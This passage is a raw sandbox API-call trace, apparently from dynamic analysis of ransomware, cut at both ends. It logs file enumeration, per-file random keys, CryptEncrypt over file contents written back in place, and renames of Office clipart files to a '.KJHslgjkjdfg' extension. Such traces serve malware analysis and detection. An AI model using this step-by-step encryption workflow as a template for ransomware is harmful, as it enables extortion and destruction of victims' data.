phKey=0x4dff274*=0x2f182c8) returned 1 [0198.642] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.642] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.642] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4b80, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4b80, lpOverlapped=0x0) returned 1 [0198.643] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4b80, dwBufLen=0x4b80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4b80) returned 1 [0198.643] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.643] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4b80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4b80, lpOverlapped=0x0) returned 1 [0198.644] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.644] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4c54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.644] SetEndOfFile (hFile=0x130) returned 1 [0198.645] GetProcessHeap () returned 0x2ef0000 [0198.645] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.645] GetProcessHeap () returned 0x2ef0000 [0198.645] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.645] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf.kjhslgjkjdfg")) returned 1 [0198.646] CloseHandle (hObject=0x130) returned 1 [0198.646] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1214, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105250.WMF", cAlternateFileName="")) returned 1 [0198.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.648] GetProcessHeap () returned 0x2ef0000 [0198.648] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.648] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.648] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.648] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0198.650] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.650] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.650] GetProcessHeap () returned 0x2ef0000 [0198.650] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.650] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.651] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.651] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.651] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.651] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.651] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.651] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.651] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.651] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.651] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.651] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.651] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1214, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1214, lpOverlapped=0x0) returned 1 [0198.652] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1220, dwBufLen=0x1220 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1220) returned 1 [0198.652] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.652] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1220, lpOverlapped=0x0) returned 1 [0198.652] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.653] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x12f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.653] SetEndOfFile (hFile=0x130) returned 1 [0198.655] GetProcessHeap () returned 0x2ef0000 [0198.655] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.655] GetProcessHeap () returned 0x2ef0000 [0198.655] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.655] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf.kjhslgjkjdfg")) returned 1 [0198.657] CloseHandle (hObject=0x130) returned 1 [0198.657] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1714, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105266.WMF", cAlternateFileName="")) returned 1 [0198.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.657] GetProcessHeap () returned 0x2ef0000 [0198.657] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.657] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.657] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.657] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0198.660] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.660] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.660] GetProcessHeap () returned 0x2ef0000 [0198.660] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.660] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.660] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.660] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.660] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.660] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.660] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.660] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.660] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.660] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.660] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.660] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.661] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1714, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1714, lpOverlapped=0x0) returned 1 [0198.677] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1720, dwBufLen=0x1720 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1720) returned 1 [0198.678] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.678] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1720, lpOverlapped=0x0) returned 1 [0198.678] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.678] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x17f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.678] SetEndOfFile (hFile=0x130) returned 1 [0198.680] GetProcessHeap () returned 0x2ef0000 [0198.680] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.680] GetProcessHeap () returned 0x2ef0000 [0198.680] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.680] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf.kjhslgjkjdfg")) returned 1 [0198.682] CloseHandle (hObject=0x130) returned 1 [0198.682] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e42c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4540, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105272.WMF", cAlternateFileName="")) returned 1 [0198.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.683] GetProcessHeap () returned 0x2ef0000 [0198.683] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.683] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.683] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.683] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.683] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.683] GetProcessHeap () returned 0x2ef0000 [0198.683] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.683] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.683] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.683] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.685] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.685] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.686] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.686] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.686] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.686] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.686] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.686] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.686] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4540, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4540, lpOverlapped=0x0) returned 1 [0198.687] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4540, dwBufLen=0x4540 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4540) returned 1 [0198.687] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.687] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4540, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4540, lpOverlapped=0x0) returned 1 [0198.688] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.688] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.688] SetEndOfFile (hFile=0x130) returned 1 [0198.690] GetProcessHeap () returned 0x2ef0000 [0198.691] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.691] GetProcessHeap () returned 0x2ef0000 [0198.691] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.691] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf.kjhslgjkjdfg")) returned 1 [0198.692] CloseHandle (hObject=0x130) returned 1 [0198.692] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e42c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105276.WMF", cAlternateFileName="")) returned 1 [0198.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.693] GetProcessHeap () returned 0x2ef0000 [0198.693] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.693] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.693] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.693] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.695] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.695] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.695] GetProcessHeap () returned 0x2ef0000 [0198.695] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.695] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.695] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.695] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.695] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.696] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.696] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.696] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.696] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.696] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.696] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.696] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.696] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4b28, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4b28, lpOverlapped=0x0) returned 1 [0198.697] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4b30, dwBufLen=0x4b30 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4b30) returned 1 [0198.697] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.697] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4b30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4b30, lpOverlapped=0x0) returned 1 [0198.698] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.698] 